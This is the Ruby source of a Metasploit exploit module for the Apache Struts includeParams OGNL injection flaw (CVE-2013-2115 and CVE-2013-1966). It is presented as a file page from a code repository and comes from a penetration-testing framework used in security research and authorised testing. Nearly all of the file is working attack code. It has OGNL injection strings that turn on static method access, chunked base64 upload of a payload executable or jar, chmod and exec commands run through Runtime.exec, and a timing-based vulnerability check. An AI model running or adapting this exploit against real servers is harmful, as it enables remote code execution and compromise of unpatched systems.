metasploit-framework/modules/exploits/multi/http/struts_include_params.rb

181 lines
6.1 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
},
'Author' =>
[
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
'Coverity security Research Laboratory', # Vulnerability Discovery
'NSFOCUS Security Team', # Vulnerability Discovery
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
2013-05-28 22:15:10 +00:00
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DisclosureDate' => 'May 24 2013',
'DefaultTarget' => 2))
register_options(
[
Opt::RPORT(8080),
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',rand_text_alpha_lower(4)]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action"]),
OptString.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET']),
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
], self.class)
end
def execute_command(cmd, opts = {})
inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
inject.gsub!(/CMD/,cmd)
uri = normalize_uri(target_uri.path)
print_status("Sending payload...")
case datastore['HTTPMETHOD']
when 'POST'
resp = send_request_cgi({
'uri' => uri,
'vars_post' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'POST'
})
when 'GET'
resp = send_request_cgi({
'uri' => uri,
'vars_get' => { datastore['PARAMETER'] => inject },
'version' => '1.1',
'method' => 'GET'
})
else
fail_with(Exploit::Failure::Unknown, "Invalid HTTP method, use GET or POST")
end
return resp #Used for check function.
end
def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
#Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
@payload_exe << ".jar"
pl_exe = payload.encoded_jar.pack
exec_cmd = ""
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
end
print_status("Preparing payload...")
#Now with all the arch specific stuff set, perform the upload.
#109 = length of command string plus the max length of append.
sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length
chunk_length = 2048 - sub_from_chunk
chunk_length = ((chunk_length/4).floor)*3
while pl_exe.length > chunk_length
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
append = true
end
java_upload_part(pl_exe,@payload_exe,append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
def java_upload_part(part, filename, append = 'false')
cmd = ""
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd << "#f.close()"
execute_command(cmd)
end
def check
print_status("Performing Check...")
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
print_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Appears
end
end
end